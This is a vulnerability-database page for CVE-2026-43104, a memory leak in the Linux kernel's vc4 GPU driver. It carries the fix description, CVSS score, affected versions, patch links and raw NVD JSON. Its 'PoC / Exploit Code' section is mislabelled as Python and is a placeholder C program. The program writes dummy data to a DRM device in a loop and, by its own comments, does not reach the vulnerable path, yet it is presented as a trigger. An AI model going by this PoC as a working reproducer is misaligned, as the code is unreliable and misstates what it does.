CVE-2026-43104

Description

In the Linux kernel, the following vulnerability has been resolved: drm/vc4: Fix a memory leak in hang state error path When vc4_save_hang_state() encounters an early return condition, it returns without freeing the previously allocated `kernel_state`, leaking memory. Add the missing kfree() calls by consolidating the early return paths into a single place.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel（具体受影响版本请参考Git提交记录：3eb7dd55, 9525d16等）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43104: Memory Leak in vc4_save_hang_state
 * This code conceptually triggers the vulnerable path.
 */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>

// Placeholder for device path and IOCTLs
#define DRM_IOCTL_VC4_SUBMIT_CL 0x40

int main() {
    int fd = open("/dev/dri/card0", O_RDWR);
    if (fd < 0) {
        perror("open device failed");
        return 1;
    }

    printf("[+] Triggering memory leak in vc4_save_hang_state...\n");

    // Loop to exhaust memory
    for(int i = 0; i < 10000; i++) {
        // In a real exploit, specific ioctl calls would be made
        // to force the GPU into a hang state that hits the early return.
        // Example: ioctl(fd, DRM_IOCTL_VC4_SUBMIT_CL, &args);
        
        // Simulating the trigger logic
        write(fd, "dummy_data", 10);
    }

    close(fd);
    printf("[+] Done. Check kernel memory usage.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43104
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43104
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43104/
[4] VulDB https://vuldb.com/cve/CVE-2026-43104
[5] https://git.kernel.org/stable/c/3eb7dd55021d0f4308fbea0bea21d2118984d8e7
[6] https://git.kernel.org/stable/c/9525d169e5fd481538cf8c663cc5839e54f2e481
[7] https://git.kernel.org/stable/c/d8fdd6adc07b78ad3e9ee0004876d90cb59ca941
[8] https://git.kernel.org/stable/c/dd5c49787a32da96a2b154427eb17cbf12a83c28
[9] https://git.kernel.org/stable/c/e352e9adc9f6df54d63150ff832f71c04e30744b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43104", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:23.980", "lastModified": "2026-05-11T17:32:55.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vc4: Fix a memory leak in hang state error path\n\nWhen vc4_save_hang_state() encounters an early return condition, it\nreturns without freeing the previously allocated `kernel_state`,\nleaking memory.\n\nAdd the missing kfree() calls by consolidating the early return paths\ninto a single place."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5", "versionEndExcluding": "6.6.136", "matchCriteriaId": "FCEFD340-4D12-4082-8086-2A113C4D3AAD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3eb7dd55021d0f4308fbea0bea21d2118984d8e7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9525d169e5fd481538cf8c663cc5839e54f2e481", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d8fdd6adc07b78ad3e9ee0004876d90cb59ca941", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/dd5c49787a32da96a2b154427eb17cbf12a83c28", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e352e9adc9f6df54d63150ff832f71c04e30744b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}